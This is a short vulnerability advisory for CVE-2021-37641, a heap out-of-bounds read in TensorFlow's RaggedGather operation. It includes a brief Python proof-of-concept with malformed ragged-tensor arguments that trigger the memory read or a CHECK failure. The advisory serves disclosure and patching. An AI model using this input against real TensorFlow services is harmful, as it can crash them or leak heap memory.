CVE-2021-37641: Heap OOB in `RaggedGather`

If the arguments to tf.raw_ops.RaggedGather don’t determine a valid ragged tensor code can trigger a read from outside of bounds of heap allocated buffers.

import tensorflow as tf

tf.raw_ops.RaggedGather(
params_nested_splits = [0,0,0],
params_dense_values = [1,1],
indices = [0,0,9,0,0],
OUTPUT_RAGGED_RANK=0)

In debug mode, the same code triggers a CHECK failure.